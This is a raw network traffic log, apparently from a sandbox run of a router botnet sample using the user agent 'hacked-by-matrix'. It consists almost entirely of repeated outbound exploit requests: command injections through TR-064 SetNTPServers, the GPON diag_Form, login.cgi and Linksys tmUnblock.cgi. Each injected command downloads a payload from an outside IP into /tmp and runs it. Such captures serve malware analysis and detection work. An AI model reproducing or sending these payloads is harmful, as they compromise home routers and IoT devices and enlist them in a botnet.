Mar 2, 2024 12:38:30.866336107 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1546	192.168.2.23	35196	47.158.192.173	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.919451952 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1547	192.168.2.23	54314	41.42.14.46	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.970048904 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1548	192.168.2.23	45830	24.104.192.10	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.970741987 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1549	192.168.2.23	51570	69.251.112.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.992017984 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1550	192.168.2.23	35204	47.158.192.173	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.103821993 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:32.087620974 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:33.207551956 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1551	192.168.2.23	51580	69.251.112.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.114504099 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1552	192.168.2.23	53080	178.137.205.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.210911036 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1553	192.168.2.23	50072	118.227.90.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.210928917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1554	192.168.2.23	54802	210.16.221.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.210942030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1555	192.168.2.23	57952	2.251.12.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.210983038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1556	192.168.2.23	59110	37.5.4.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211025953 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1557	192.168.2.23	49246	94.16.89.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211026907 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1558	192.168.2.23	57382	94.2.47.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211044073 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1559	192.168.2.23	37946	212.49.230.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211065054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1560	192.168.2.23	54794	42.199.181.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211127996 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1561	192.168.2.23	37250	37.158.74.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211189985 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1562	192.168.2.23	45702	118.85.150.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211232901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1563	192.168.2.23	47514	178.146.101.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.211262941 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1564	192.168.2.23	43432	154.3.32.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:31.911082983 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:32.231913090 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1565	192.168.2.23	53754	172.65.193.148	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.078772068 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:32.567581892 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:33.176597118 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1566	192.168.2.23	54946	152.165.200.155	7547

Timestamp	Bytes transferred	Direction	Data
